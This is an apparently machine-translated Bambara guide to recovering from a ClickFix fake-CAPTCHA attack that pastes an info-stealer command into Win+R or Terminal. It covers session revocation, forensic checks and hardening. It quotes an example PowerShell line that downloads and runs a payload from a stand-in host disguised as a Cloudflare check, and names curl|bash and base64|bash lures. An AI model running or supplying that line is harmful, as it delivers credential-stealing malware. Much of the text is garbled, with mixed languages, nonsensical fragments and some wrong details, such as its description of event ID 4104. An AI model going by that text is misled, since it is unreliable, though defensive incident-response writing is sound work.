‘ClickFix’ ka CAPTCHA nanbara nkalonma: Mun na Win+R ni Ctrl+V digilen bɛ Info-Stealer Malware baara¶

N'i ye "I'm not a robot" walima "Verify you are human" butɔn digi dɔrɔn site web dɔ kan (walima n'i ye Cloudflare Turnstile, Google Meet, Zoom, walima browser update error popup nkalonma dɔ ye) min y'i bila ka ** digi.Windows + R** (walima macOS Terminal da wuli), ** digi .Ctrl + V** (Cmd + V), ka ** gosi .Enter**, i ka ɔridinatɛri ye malware payload ɲɛnama dɔ kɛ sisan - a ka c'a la Lumma Stealer, . Vidar, . StealC, . RedLine, walima Atomic macOS Stealer (AMOS) kunnafoni-sonyabaga. CAPTCHA, Cloudflare sɛgɛsɛgɛli, walima videyo lajɛ baarakɛminɛn sariyalen si tɛna kɛ Dugukolo kan min tɛna a ɲini hadamaden fɛ a ka Windows Run dialogue da wuli (Win + R), Windows Terminal, Command Prompt, walima macOS Terminal ani ka cikan dɔ nɔrɔ. Ni i ye "Verify" taamasiyɛn nkalonma digi o siti kan, JavaScript jugu (navigator.clipboard.writeText()) ye PowerShell dogolen dɔ kopi kɛ a makuntɔ, . mshta.exe, . rundll32, walima curl | bash cikan bila i ka clipboard kan. seginkanni 3 fo 6 kɔnɔ, a digilen kɔfɛ Enter, o sɛbɛnni ye executable in-memoire dɔ telesarse min ye password maralen bɛɛ decrypted ani exfiltrate, autofill credit card, cryptocurrency browser extension vault (MetaMask, . Phantom, . Rabby), Discord/Telegram token, ani session cookie donna min bɛ baara la ka bɔ Chrome, Edge, Brave, ani Firefox fɛ - min b’a to binkannikɛlaw bɛ se k’i ka Gmail, Microsoft 365, banki, ani jɛkulu ka jatew minɛ k’a sɔrɔ u mago tɛ i ka tɔgɔlasɛbɛn walima i ka Two-Factor Authentication (2FA). Walasa ka browser sessions hijacked (navigatɛri) sessions (navigatɛri) minnu minɛna, olu ɲɛnabɔcogo jugumanba sɔrɔ, aw bɛ a lajɛ fana session cookie hijacking, infostealer malware, ani passkey bɔli; ni aw ye nafolo ye kaban ka bɔ yɛrɛladonni waribɔlan kɔnɔ, aw bɛ pan joona ka taa kriptowari portefeuille drain ani kisɛ kumasen bɛnkan; walima ni nanbarakɛla dɔ ye kuma i fɛ ka AnyDesk walima ScreenConnect sigi sen kan, aw ye a lajɛ tech support pop-up scam ani yɔrɔjan tabali bɔli. Ni nin bana in kɛra dɔgɔtɔrɔso baarakɛyɔrɔ la, minisiriso ka rezow la, walima ni a bɛ tali kɛ teliya la ka ɲɛnamaya lakanani wari ɲini, aw bɛ aw ka sigida kɔrɔtɔko nimɔrɔ wele (911 Ameriki ni Kanada jamanaw na, . 112 Erɔpu tɔnba kɔnɔ, . 999 in the United Kingdom) walima ka an ka gafe ɲɛbilasɛbɛn lajɛ kɔrɔtɔko nimɔrɔw.

Aw bɛ o kɛ sisan¶

1. I ka Ethernet kabɔri bɔ a la walima ka Wi-Fi faga ɔridinatɛri banakisɛ la segin 5 kɔnɔ: Info-stealers like Lumma Stealer pake i ka navigatɔrɔ SQLite databases (Login Data, . Cookies, . Network/Cookies, . Web Data) ka don a kɔnɔ .zip archive in kɔnɔ %TEMP% ani k’a bila Command-and-Control (C2) sèrvèr, o kɔfɛ, a ka c’a la, a ka teli ka Remote Access Trojan filanan dɔ bila sen kan (RAT), SOCKS5 sigiyɔrɔma proxy, walima kunmabɔnafolo donibaga. Ɛntɛrinɛti jɛɲɔgɔnya tigɛlen bɛ nafa filananw ni ɛkran/kɔlɔsili taabolow jɔ o yɔrɔnin bɛɛ.
2. I KAN’a baara kɛ ni ɔridinatɛri banakisɛ ye walasa k’i ka tɔgɔlasɛbɛnw Changer - i ka telefɔni seleke naani saniyalen dɔ ta (selilɛri kunnafoniw kan) walima ɔridinatɛri min banakisɛ tɛ a la sisan: Ni i ye keylogger persistent, clipboard hijacker, walima HVNC (Hidden Virtual Network Computing) module bɛ baara kɛ RAM kɔnɔ PC banakisɛ bɛ min na, n’i y’i ka tɔgɔlasɛbɛn kuraw sɛbɛn o PC kelen in kan, o bɛ seereyaw kura di ka segin binkannikɛla ma.
3. Ka bɔ i ka telefɔni saniyalen na, i ka "Sign out of all devices / Revoke all active sessions" digi i ka email fɔlɔ kan (Gmail / . Microsoft 365 / . Yahoo), tɔgɔlasɛbɛn ɲɛnabɔbaga, ani baara SSO (Okta / . Entra ID) FƆLƆ:
4. Mun na i ka tɔgɔlasɛbɛn caman cili dɔrɔn tɛ bɔli kɛ: Info-stealers bɛ i ka active authentication session cookies sonya (SAPISID, . SID, . ESTSAUTH, . .ROBLOSECURITY, . li_at). Plateforme caman kan, session cookie min bɛ taa jamana wɛrɛw la, o bɛ to baara la tile walima dɔgɔkun caman kɔnɔ fo n’i ye Sign out of all sessions / Revoke tokens digi k’a jɛya ANI ka i ka tɔgɔlasɛbɛn wuli.
5. Google / Gmail: Aw ye taa bɔ myaccount.google.com/device-activity -> tabali lajɛ kelen-kelen bɛɛ sugandi -> Sign out digi, o kɔfɛ i ka Google tɔgɔlasɛbɛn Changer ka sɛgɛsɛgɛli kɛ Settings -> Forwarding and POP/IMAP ka ɲɛsin cikanw ma minnu bɛ kɛ ni kumakan ye.
6. Microsoft / Outlook / Entra ID: Taama mysignins.microsoft.com/security-info -> Sign out everywhere digi, o kɔ i ka tɔgɔlasɛbɛn segin.
7. Ni i tun bɛ ni kriptowari waribɔlan dɔ ye (MetaMask, . Phantom, . Coinbase Wallet, . Trust Wallet, . Exodus, . Electrum) o ɔridinatɛri kan, ka nafolo bɛɛ labɔ ka taa kisɛ kumasen kura yɛrɛ la minɛn saniyalen kan o yɔrɔnin bɛɛ:
8. Lumma Stealer ani AMOS kopi kɛ min sirilen don Local Extension Settings IndexedDB/LevelDB vault files ka bɔ Chrome/Brave/Edge la ka taa binkannikɛla ka sèrwɛri la, GPU kuluw bɛ brute-force i ka sigida extension unlock password offline (walima ka kisɛ kumasen kalan k’a ɲɛsin RAM ma ni a dabɔra). A ka c’a la, kisɛ kumasen ni mɔgɔ kelen-kelen bɛɛ ka kilisi min maralen bɛ o PC kan, o bɛɛ bɛ tiɲɛ kɛmɛsarada la.
9. Sanni i ka PC ko, i ye cikan tigitigi min nɔrɔ a la, i k’o mara walasa i k’a dɔn min kɛra:
10. Windows kan, Notepad da wuli (k’a sɔrɔ i tɛ ɛntɛrinɛti kan hali bi) ka digi Ctrl + V ka fɛn o fɛn sigilen bɛ i ka jatebɔsɛbɛn kɔnɔ hali bi, ka o nɔrɔ, walima ka o digi Windows + R ani ka yɔrɔ digi walasa ka baara kɛlen kɔsa in na (MRU) Boli tariku maralen in kɔnɔ HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. O cikan foto ta n’i ka telefɔni ye walasa ka ko kɛlenw jaabi.
11. Ka USB baarakɛminɛn saniyalen sigi kokura (walima ka forensic wipe dafalen kɛ min tɛ ɛntɛrinɛti kan) sanni i ka da antivirus scan teliya la: Bi ClickFix payloads bɛ baara kɛ ni Windows binaries bolonɔbilalenw ye sariya siratigɛ la (Living-off-the-Land Binaries walima LOLBins i n'a fɔ mshta.exe, . powershell.exe, . certutil.exe, . regsvr32.exe, ani AutoIt3.exe) minnu bɛ pikiri kɛ sistɛmu taabolo sariyalenw kɔnɔ ( .explorer.exe, . svchost.exe) ani tuma caman na ka danfara dɔw fara Windows Defender kan (Add-MpPreference -ExclusionPath).

--- .

Desizɔn jiri: teliya la, a kunbɛnni ani a seginni ClickFix kɔfɛ Win+R walima Terminal paste (Tɔriminal paste).¶

Aw bɛ tugu nin latigɛ jiri in kɔ waati min na aw y’a faamu ko aw ye cikan dɔ nɔrɔ a kɔnɔ Win + R, Windows Terminal, walima macOS Terminal:

flowchart TD
    Start["Fake CAPTCHA / Error Fix Command min nɔrɔlen don Win+R, PowerShell, walima macOS Terminal kɔnɔ"] --> Disconnect["SEN 1 (Seginnkanni 0 fo 10): Aw bɛ Etɛrinɛti bɔ a la & ka Wi-Fi faga ɔridinatɛri bananen kan o yɔrɔnin bɛɛ"]

    Disconnect --> CryptoCheck{"Yala nin ɔridinatɛri in tun bɛ ni Crypto Portefeuille (MetaMask, Phantom, Exodus, Ledger Live, Saved Keys) dɔw ye wa?"}

    CryptoCheck -->|"Ɔwɔ"| EvacCrypto["SEN 2 (TƆRƆBA): Telefɔni/minɛnw ka waribɔlan saniyalen kan, i ka kisɛ kumasen KURU dɔ labɛn ani ka nafolo bɛɛ bila kɛnɛ kan o yɔrɔnin bɛɛ"]
    CryptoCheck -->|"Ayi"| CleanDevice["SEN 2: Aw bɛ wuli ka taa Smartphone saniyalen (Cellulaire Data) walima minɛn min ma bana sɔrɔ"]

    EvacCrypto --> CleanDevice

    CleanDevice --> RevokeSessions["SEN 3NAN: Ka Server-Side Sessions (Sɛriwɛri fan fɛ sessions) bɔ yen & ka passwordw wuli ka kɛɲɛ ni Strict Priority Order ye"]

    RevokeSessions --> P1["1. Email fɔlɔ (Gmail / M365 / Proton): Ka minɛn baarakɛtaw bɛɛ faga, ka Password Lasegin, ka Forwarding Rules lajɛ"]
    P1 --> P2["2. Baara / Jɛkulu SSO (Okta / Entra ID / VPN / AWS / GitHub / SSH Keys): Baarakɛda SOC ladɔnniya joona ni Baara jatew donna"]
    P2 --> P3["3. Nafolo, Banki, PayPal, Stripe, Amazon, Steam, Discord ani Social Media Jatew"]

    P3 --> InspectPayload["SEN 4nan (Offline on infected PC): RunMRU Registry & PowerShell Operational Event ID 4104 lajɛ walasa ka Payload dɔn"]

    InspectPayload --> WipeChoice{"Yala nin ye tɔn ka labanyɔrɔ ye wa walima mɔgɔ yɛrɛ ka ɔridinatɛri ye wa?"}
    WipeChoice -->|"Corporate / BYOD ni Baarakɛyɔrɔ sɔrɔli"| CorpIR["Bolo masin min tɛ ɛntɛrinɛti kan ka taa IT Lakanali / SOC la EDR Forensic Triage ani BitLocker Re-Image kama"]
    WipeChoice -->|"Mɔgɔ yɛrɛ ka Windows / Mac"| CleanInstall["Sɛbɛn gansanw dɔrɔn de kɔpi (No .exe/.bat/.dmg) -> Boot Clean USB -> Wipe Partitions & Reinstall OS"]

--- .

Fasokan2009-09_enterneti_kalanni.dis.html,#5417331 : "ClickFix" binkanni in anatomie - Webpage dɔ bɛ minɛ cogo min na Win + R¶

Fɛn min kɛra i ka baarakɛminɛn kɔnɔ o segin 5 kɔnɔ, n’i y’o faamu, o b’a ɲɛfɔ mun na dosiye dɔw ni jatebɔsɛbɛn dɔw bɛ farati la o yɔrɔnin bɛɛ la k’a sɔrɔ dɔw tɛ farati la.

1. Sosiyete injiniyɛri lures 3 minnu bɛ kɛ ClickFix kanpaɲiw la¶

Binkannikɛlaw bɛ ClickFix dakunw tila-tila piblisite juguw kɔnɔ (ɲini jaabiw minnu bɛ dɛmɛ sɔrɔ), WordPress yɔrɔw tiɲɛnenw, porogaramuw/streaming portals pirated, GitHub marayɔrɔ nkalonmaw, ani phishing emails: 1. A Fake Cloudflare / Google reCAPTCHA Box ("A sɛgɛsɛgɛ ko i ye hadamaden ye"): I bɛ "Ne tɛ robo ye" yɔrɔ digi. Sani i ka kɛ taamasiyɛn jɛman ye, popup dɔ bɛ bɔ min bɛ kalan: "Traffic unnusual detected. Walasa k'a dɔn ko i ye hadamaden ye, i ka nin fɛɛrɛ 3 ninnu dafa: 1. I digi." Windows + R i ka klaviyeti kan. 2. Aw bɛ a digi Ctrl + V. 3. Aw bɛ a digi Enter." ."* 2. The Fake Chrome / Edge Font or Update Error ("Fɛn dɔ ma ɲɛ ka nin ɛntɛrinɛti yɔrɔ in jira"): Background blured bɛ site web datugu ni Chrome dialogue ye min bɛ i n’a fɔ ofisiyali min b’a fɔ ko root certificate walima font update tununna, o b’a ɲini i fɛ i ka Windows PowerShell / Terminal da wuli ka "official fix script" nɔrɔ. 3. Zoom nkalonma / Google Meet / Microsoft ekipuw ka mikro walima kamera fili: A bɛ ci baara ɲininkali weleli nkalonmaw fɛ walima kiliyanw ka lajɛ ladɛrɛsiw fɛ, o ɲɛ in bɛ wideyow jira min bɛ wuli ka wuli, wa a bɛ macOS ni Windows baarakɛlaw bila u ka Terminal da wuli ka "driver reset" cikan dɔ nɔrɔ a la.

2. Mun na cikan tun bɛ i ko farati tɛ a la Win + R kɛsu kɔnɔ¶

A ye... Windows + R (Run) kumaɲɔgɔnya sɛbɛnfura ye 259 taamaʃyɛn dɔrɔn ye yecogo la (MAX_PATH UI donna-yɔrɔ), wa a bɛ sɛrɛkili nɔrɔlen dɔ ** laban** dɔrɔn de jira i ka kurufebɔlen kɔfɛ ka taa kinin fɛ. Binkannikɛlaw bɛ o tigɛcogo ɲɛnama in nafa u kɛtɔ k’u ka cikan juguw falen ni yɔrɔw ye walima k’a laban ni kuma nkalonma ye:

powershell.exe -w hidden -nop -c "iex(iwr 'https://malicious-c2.example/payload.txt' -UseBasicParsing)" # Cloudflare Human Verification ID: 849201 - Press Enter to Confirm

3. Fɛn min tigitigi Lumma Stealer, . StealC, ani AMOS sonyali kɛ segin 4 kɔnɔ¶

--- .

Fasokan2009-09_enterneti_kalanni.dis.html,#5413333 2nan : Jatebɔsɛbɛnw datugucogo & Session revocation (Minute 1 fo 30 - Minɛn saniyalen kan)¶

K’a sɔrɔ PC min bananen don, o tora ka bɔ ɛntɛrinɛti la pewu, aw bɛ baara kɛ ni smartphone saniyalen walima ɔridinatɛri filanan ye walasa ka nin kunbɛncogo tigitigi in kɛ.

1: I ka Email Accounts (Gmail, . Microsoft 365 / Outlook, . Yahoo, . Apple iCloud) .¶

Ka ɲɛsin email jatebɔsɛbɛn bɛɛ ma min donna navigatɔrɔn ka kunnafonisɛbɛn o profile kɔnɔ (Default, . Profile 1, . Work) o ɔridinatɛri kan : 1. Aw ka minɛnw ka lajɛ minnu bɛ baara la, olu bɛɛ ban: - Google / Gmail: Aw ye taa myaccount.google.com/device-activity -> Windows/Mac minɛn min bananen don, o sugandi (ani session minnu ma deli) -> Sign out digi. Aw ye taa bɔ fana myaccount.google.com/connections ani ka OAuth porogaramu sabanan minnu bɛ sigasiga, olu bɛɛ bɔ yen. - Microsoft (Mɔgɔ yɛrɛ ni baara M365): Taga account.live.com/proofs/Manage (mɔgɔ yɛrɛ ta) walima mysignins.microsoft.com/security-info (baara) -> Sign out yɔrɔ bɛɛ digi. 2. I ka imayili tɔgɔlasɛbɛn Changer ka kɛ tɔgɔlasɛbɛn kura ye, min ɲɔgɔn tɛ, min maralen bɛ i ka minɛn saniyalen dɔrɔn de kan. 3. Audit Inbox sariyaw, Filɛriw, ani Auto-Forwarding teliya la: Info-stealer baarakɛlaw bɛ script otomatikiw kɛ minnu bɛ don Gmail/Outlook cookie sonyalenw kɔnɔ miniti damadɔ kɔnɔ banakisɛ sɔrɔlen kɔfɛ ani ka filɛri dogolen dɔ dilan: Ni cikan kɔnɔ "Security", "Code", "Coinbase", "Binance", "Bank", walima "Steam" bɛ yen -> Mark as Read, Forward to attacker, Move to Trash/RSS Feeds. - Gmail kɔnɔ: Tabali filɛli dɔ da wuli -> Settings (gear icon) -> See all settings -> Filters and Blocked Addresses ANI Forwarding and POP/IMAP. Filɛri walima cikan ladɛrɛsi dɔnnen o ladɛrɛsi dɔnbali, o bɛɛ bɔ yen o yɔrɔnin bɛɛ. - ** Outlook / M365 kɔnɔ**: Da wuli Settings -> Mail -> Rules ANI Mail -> Forwarding ANI Mail -> Junk email (cidenw balilenw lajɛ walasa ka a dɔn ko binkannikɛla ma bali no-reply@accounts.google.com walima aw ka banki).

2nan: Password Managers (Bitwarden, . 1Password, . Dashlane, . KeePass, . iCloud Keychain) .¶

• Yala i y'i ka tɔgɔlasɛbɛnw mara Chrome / Edge / Brave ka Password Manager kɔnɔ min bɛ a kɔnɔ wa? Dɔgɔtɔrɔso kelen-kelen bɛɛ min maralen bɛ Chrome, Edge, Brave, Opera, walima Firefox kɔnɔ (fo ni Firefox tun bɛ ni tɔgɔlasɛbɛn fɔlɔ ye min bɛ kɛ ka kɛɲɛ ni a yɛrɛ sago ye) o bilala ka bɔ kɛnɛ kan ni sɛbɛnni jɛlen ye kunnafoni-sonyabaga fɛ. I ka kan ka daɲɛ dogolenw kɛmɛsarada la minnu maralen bɛ navigatɛri ka tɔgɔlasɛbɛnw ɲɛnabɔbaga kɔnɔ, olu minɛ i n’a fɔ u tiɲɛna ani k’u Changer k’a daminɛ wariko, imayili ani baarakɛyɔrɔ jatew la.
• Yala i ye baara kɛ ni Password Manager (1Password, . Bitwarden, . Proton Pass, . Keeper)? Bamako, Mali.
• Ni vault tun locked i ye cikan boli waati min na, i ka vault sirilen bɛ to lakanalen na i ka Master Password / Secret Key fɛ.
• Ni vault extension tun unlocked in memory (walima n’i y’i ka Master Password sɛbɛn cikan bolilen kɔfɛ), don password manager web vault kɔnɔ ka bɔ i ka telefɔni saniyalen na, i ka Deauthorize all sessions digi (Bitwarden: Settings -> My Account -> Deauthorize Sessions), i ka Master Password wuli, ani ka seereyaw sɔngɔ gɛlɛnw wuli ka bila jɔyɔrɔ fɔlɔ la vault kɔnɔ.

3nan: Ka Developpeur, Corporate ani Chat Tokens (GitHub, . AWS, . Discord, . Telegram, . Steam) .¶

• Discord: Ni i ye i ka Discord tɔgɔlasɛbɛn Changer o bɛ i ka dantigɛli taamasiyɛn kɔrɔ tiɲɛ i yɛrɛma (leveldb token ye). O yɔrɔnin bɛɛ, i ka Discord tɔgɔlasɛbɛn Changer ka bɔ i ka telefɔni na, a lajɛ Settings -> Devices -> Aw bɛ bɔ minɛn dɔntaw bɛɛ la, ka a lajɛ Settings -> Authorized Apps ani Settings -> Billing (aw bɛ karti minnu maralen don/PayPal bɔ).
• Telegramu: I ka telefɔni na, da wuli Telegram -> Settings -> Devices -> i ka Terminate All Other Sessions digi o yɔrɔnin bɛɛ (o bɛ sonyalen o sonyalen faga tdata tabali foli clone).
• Steam: I ka telefɔni na, Steam app -> da wuli Steam Guard (shield icon) -> Gear icon -> Deauthorize all devices, i ka tɔgɔlasɛbɛn Changer, ani k’a lajɛ ni API Key si ma sɛbɛn a la steamcommunity.com/dev/apikey (namarakɛlaw bɛ Steam Web API kilisi nanbaratɔ dɔ sɛbɛn walasa ka jagokɛlaw ka labɛnw minɛ).
• GitHub / GitLab / AWS / SSH: N’i ye porogaramu injiniyɛri ye walima sysadmin, i ka taa github.com/settings/sessions (ka navigatɛri ka lajɛw bɔ yen), github.com/settings/keys (SSH kilisi minnu maralen bɛ o PC kɔnɔ olu bɔ yen), github.com/settings/tokens (I ka Personal Access Tokens bɔ yen), ani ka fɛn o fɛn wuli -/.aws/credentials IAM kilisi bɛ AWS IAM konsolɛ kɔnɔ o yɔrɔnin bɛɛ. Aw ye an ka gafe ɲɛbilalen lajɛ kan supply chain npm/PyPI compromise ani developpeur baarakɛyɔrɔ kilisi jiginni.

--- .

Dakun 3nan: Forensic Inspection (Sɛgɛsɛgɛli min tɛ ɛntɛrinɛti kan) - Ka fɛn min boli i ka ɔridinatɛri kan, o dɔn tigitigi¶

Sani i ka ɔridinatɛri bananen ko ani k’a bila a kɔnɔ kokura (walima k’a sɔrɔ i bɛ ka kunnafoni dɔ labɛn i ka jɛkulu lakanani jɛkulu ye), i bɛ se k’a lajɛ lafiya la min ye... ClickFix cikan ye k’a sɔrɔ masin tora 100% kɛnɛ kan (Wi-Fi fagalen, Etɛrinɛti bɔlen don).

1. Ka Windows sɛgɛsɛgɛ Win + R Tariku ani PowerShell ka sɛbɛnw¶

1. Aw ye Windows Run lajɛ (Win + R) Sɛbɛnnikɛla MRU ( .Most Recently Used) lisi: . Da wuli regedit.exe walima PowerShell finɛtiri min tɛ ɛntɛrinɛti kan ani ka baara kɛ:

   Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
   

   Cikan o cikan delila ka sɛbɛn walima ka nɔrɔ a kɔnɔ Win + R bɛ mara yan nafolomafɛnw jukɔrɔ a, . b, . c, wdfl A lajɛ cikan min sɛbɛnna bataki jiralen fɔlɔ la in MRUList.
2. Aw ye PowerShell Script Block Logging Event Log (Ko kɛlenw ID) lajɛ 4104): Hali ni binkannikɛla ye baara kɛ -WindowStyle Hidden (-w h) ani Base64 kodɔn (-EncodedCommand / . -e), Windows bɛ PowerShell sɛbɛnnikɛlan sikɛtaw dekodɔn a yɛrɛma ani k’u sɛbɛn Event Viewer kɔnɔ:
3. A digi Win + X -> Ko kɛlenw lajɛbaga -> ka taa Applications and Services Logs -> Microsoft -> Windows -> PowerShell -> Operational.
4. Filɛri ka ɲɛsin Ko kɛlenw ID ma ** .4104** (Execute a Remote Command). I bɛna PowerShell script deobfuscated tigitigi ye, a ye URL min telesarse, ani foli min bɛ a kɔnɔ %TEMP%, . %AppData%, walima %LocalAppData% yɔrɔ min na a y'a ka nafalan filanan fili.
5. A lajɛ persistence tun sigilen bɛ yɔrɔ min na Windows kan: Info-stealers n’u ka loader scripts (NetSupport Manager RAT, . Amadey, . SectopRAT, . AsyncRAT) ka reboot survival sigi sen kan yɔrɔ naani na :

   # 1. Registry Run / RunOnce keys:
   Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
   Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
   
   # 2. Startup Folder shortcuts (.lnk / .vbs / .bat):
   Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Force
   
   # 3. Recently created Scheduled Tasks:
   Get-ScheduledTask | Where-Object {$_.Author -ne "Microsoft Corporation"} | Select-Object TaskName, TaskPath, State
   
   # 4. Windows Defender Exclusions added by the malware:
   Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
   Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
   

   (Ni i y'a ye C:\, . C:\Users, . %AppData%, walima .exe faralen ɲɔgɔn kan jukɔrɔ ExclusionPath walima ExclusionProcess, o porogaramu jugu ye Microsoft Defender fiyen k’a jɛya i ka masin kan.)

2. MacOS sɛgɛsɛgɛli Terminal ClickFix kɔfɛ (Atomic macOS Stealer / AMOS walima Poseidon) .¶

macOS kan, ClickFix ɲɛw b’a fɔ baarakɛla ye ko a ka Terminal (Cmd + Space -> Terminal) ani ka base64-encoded cikan dɔ nɔrɔ i n'a fɔ echo "..." | base64 -d | bash. 1. Ni i tɛ ɛntɛrinɛti kan, i ka i ka shell tariku lajɛ (cat -/.zsh_history | tail -n 30 walima cat -/.bash_history). 2. A lajɛ ni porogaramu jugu in ye LaunchAgent kɔkanna basigilen dɔ sigi sen kan:

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons

--- .

Fasokan2009-09_enterneti_kalanni.dis.html,#5413333 4nan : Clean Remediation - Mun na aw ka kan ka a ko ani ka a sigi kokura (walima ka offline rescue boli) .¶

Lakanali baaradaw (CISA, . FBI, . NCSC) ka ladilikan di kosɛbɛ ka baarakɛminɛnw ko ani k’a sigi kokura ka bɔ USB saniyalen na kunnafoni-sonya kɔfɛ walima LOLBin waleyali, bawo donikɛlaw bɛ to ka shellcode pikiri kɛ sistɛmu binary sariyalenw kɔnɔ, ka rootkit/proxy drivers sigi, walima ka kɔfɛda sunɔgɔlenw to (NetSupport RAT / . Cobalt Strike).

Tɛmɛ-ni-senfɛ Clean Reinstallation & Safe File Backup¶

1. K’a sɔrɔ PC banakisɛ bɛ a la hali bi, i ka data files saniyalenw DƆRƆN de back up: I yɛrɛ ka sɛbɛnw, fotow, jatebɔsɛbɛnw ani source code (.pdf, . .jpg, . .docx, . .xlsx, . .mp4, . .txt) ka don kɛnɛma USB-minɛn dɔ kan. Aw kana kɔsegin abada .exe, . .msi, . .bat, . .ps1, . .vbs, . .js, . .lnk, . .dmg, . .pkg, walima navigatɛri User Data profil foliw.
2. Ɔridinatɛri FILANAN kan, min saniyalen don, i ka Windows 11 Media Creation USB (microsoft.com/software-download/windows11) walima macOS Recovery sigida.
3. Boot ka bɔ USB installer saniyalen na, ka partitions bɛɛ bɔ boot SSD kan (o la EFI System Partition, MSR, ani primary OS partition bɛ dabɔ kura ye), ka operating system kopi saniyalen dɔ sigi.
4. Ni aw tɛ se ka masin ko joona abada:
5. Defender ka bɔli bɛɛ bɔ yen (Remove-MpPreference -ExclusionPath ...).
6. A daminɛ ka don Windows Safe Mode kɔnɔ ni Réseau balilen don (walima ka daminɛ ka bɔ Kaspersky Rescue Disk / ESET SysRescue Live USB la), ani ka sɛgɛsɛgɛli dafalenw kɛ ɛntɛrinɛti kɔkan ni Microsoft Defender Offline (Start-MpWDOScan), Malwarebytes, ani ESET Online Scanner, ka fara sɛbɛnni bɛɛ sɛgɛsɛgɛli kan Sysinternals Autoruns (autoruns64.exe) ni Hide Microsoft Entries ma taamasiyɛn kɛ.

--- .

Dakun 5nan : Windows ni macOS gɛlɛyali walasa ClickFix kana se ka kɛ tugun abada¶

• Ka dogo walima ka a bali Windows + R (Run) kumaɲɔgɔnya denbaya kɔnɔmɔgɔw ye minnu tɛ fɛɛrɛtigiw ye walima jɛkulu baarakɛlaw ye minnu bɛ sariya kɔnɔ Jɛkulu ka Politiki / Sɛbɛnni fɛ : Setting (Sìgiyɔrɔma). NoRun = 1 (DWORD) jukɔrɔ HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer bɛ baara kɛ pewu Windows + R klaviyeti surunyali. Sabula ClickFix binkanni kɛmɛsarada la 95 bɛ u jigi da baarakɛla ka digi kan Win + R, ka Run dialogue bali, o bɛ binkanni in jɔ nɛnɛ na sanni baarakɛla ka se ka fɛn dɔ nɔrɔ.
• Aw ka filen jɛkulu fɔlɔ Changer for .hta, . .vbs, . .js, ani .wsf sɛbɛnniw ka notepad.exe: 1. . ka baarakɛbali kɛ mshta.exe ani wscript.exe via Windows Binkanni Surface Reduction (ASR) sariyaw walima jɛɲɔgɔnya .hta/ ..vbs/ ..js ni Notepad bɛ sɛbɛnni kɛcogo bali.
• Ka jatebɔsɛbɛn kɔrɔw sɛmɛntiya ka kɛ Hardware-Bound Passkeys ye (FIDO2 / WebAuthn Lakanali Kiliw i n’a fɔ YubiKey): Hali ni kunnafoni-sonyabagaw bɛ se ka session cookies sonya navigatɔrɔ dɔ kɔnɔ don kɔfɛ, hardware security keys (FIDO2) ni kalansenw ɲɛnamaya waati kunkurunninw ye ani sɔrɔko jateminɛ min bɛ kɛ ka taa a fɛ (CAE / Device-Bound Session Sɛbɛnw DBSC) ka binkannikɛlaw bali u ka se ka dantigɛli sɛbɛnw sɛmɛntiya kokura walima k’u bila jamana wɛrɛw la.
• Aw ye navigatɔrɔn ka piblisite ni piblisite jugu balilan dɔ sigi sen kan (uBlock Origin / . uBlock Origin Lite) ani ka Enhanced Safe Browsing daminɛ: ClickFix banakisɛ kɛmɛsarada la 60 ni kɔ bɛ bɔ Google/Bing ɲinini piblisite juguw la minnu bɛ i n’a fɔ porogaramu sariyalenw (Slack, . Notion, . OBS, . Homebrew, . WinSCP, . TradingView) walima streaming sites (fɔlikanw) yɔrɔw.

--- .

Sigidaw ka kɔrɔtɔko nimɔrɔw ani baaradaw ka sariyaw¶

Ni a ye ClickFix / . Lumma Stealer banakisɛfagalanw ka seereyaw, kɛnɛyako siratigɛw, wariko jatew, walima gɔfɛrɛnaman ka rezow, minnu bɛ tiɲɛni kɛ, olu bɛ o ko fɔ o yɔrɔnin bɛɛ la fanga sira fɛ:

• Amerika ni Kanada:
• Kɔrɔtɔko ɲɛnamaya-Lakanali / Fɛnɲɛnɛmako kɔrɔlenw: Dial 911 ni banakisɛ dɔ ye dɔgɔtɔrɔsow ka dɔgɔtɔrɔsow walima foroba lakanani baara tiɲɛ.
• FBI ka Ɛntɛrinɛti kan kojugubakɛlaw ka kiritigɛso (IC3) (US): Aw ye kunnafoni di teliya la ** .ic3.gov** (kɛrɛnkɛrɛnnenya la ni kriptowari, banki ka filiw, walima jɛkulu ka Business Email Compromise bɔra session cookies sonyalenw na).
• Sibɛri lakanani ni fɛnsɔrɔko lakanani baarada (CISA) (US): Baarakɛda ni fɛnsɔrɔko jɛkuluw ka kan ka infostealer sariya tiɲɛniw fɔ ** ye .1-844-Say-CISA (1-844-729-2472)** walima cisa.gov/report.
• Kanada ka nanbarako kɛlɛli baarada (CAFC) & Sibɛri Centre: Aw ye ** wele1-888-495-8501** walima ka jaabi di cyber.gc.ca.
• Royaume-Uni:
• Kɔrɔtɔko baarakɛlaw: Dial 999 (walima 101 ka ɲɛsin polisiw ma minnu tɛ kɔrɔtɔko ye).
• Action Fraud & NCSC: Sibɛri juguya ni nafolo sonyalenw fɔ Action Fraud (0300 123 2040 / . actionfraud.police.uk). Ni jɛkulu ka kiliyanw ka kunnafoniw walima u ka seereyaw bɔra kɛnɛ kan, aw bɛ UK GDPR kunnafoni wajibiyalen jateminɛ min bɛ kɛ sanga 72 kɔnɔ ICO ma (0303 123 1113)**.
• Erɔpu jamanaw ka tɔnba:
• Kɔrɔtɔko baarakɛlaw: Dial 112 UE jamanaw bɛɛ kɔnɔ.
• GDPR sariyasen 33nan & NIS2 CSIRT ka kunnafonidi: Sabula Lumma Stealer a bɛ navigatɛri bɛɛ bɔ kɛnɛ kan Login Data, . Cookies, ani autofill caches, jɛkulu ka ɔridinatɛri banakisɛ o ɔridinatɛri min tun bɛ baarakɛla walima kiliyan ka kunnafoniw mara, o bɛ kɛ gundo kunnafoniw tiɲɛni ye min sɛmɛntiyalen don, o bɛ jateminɛ kɛ walasa ka lɛrɛ 72 ladɔnniya i ka jamana ka kunnafoniw lakanani ɲɛmɔgɔso la (DPA).
• Ɔsitarali ni Zelande kura:
• Kɔrɔtɔko baarakɛlaw: Dial 000 Ɔsitarali jamana na walima 111 Nuwɛlika jamana na.
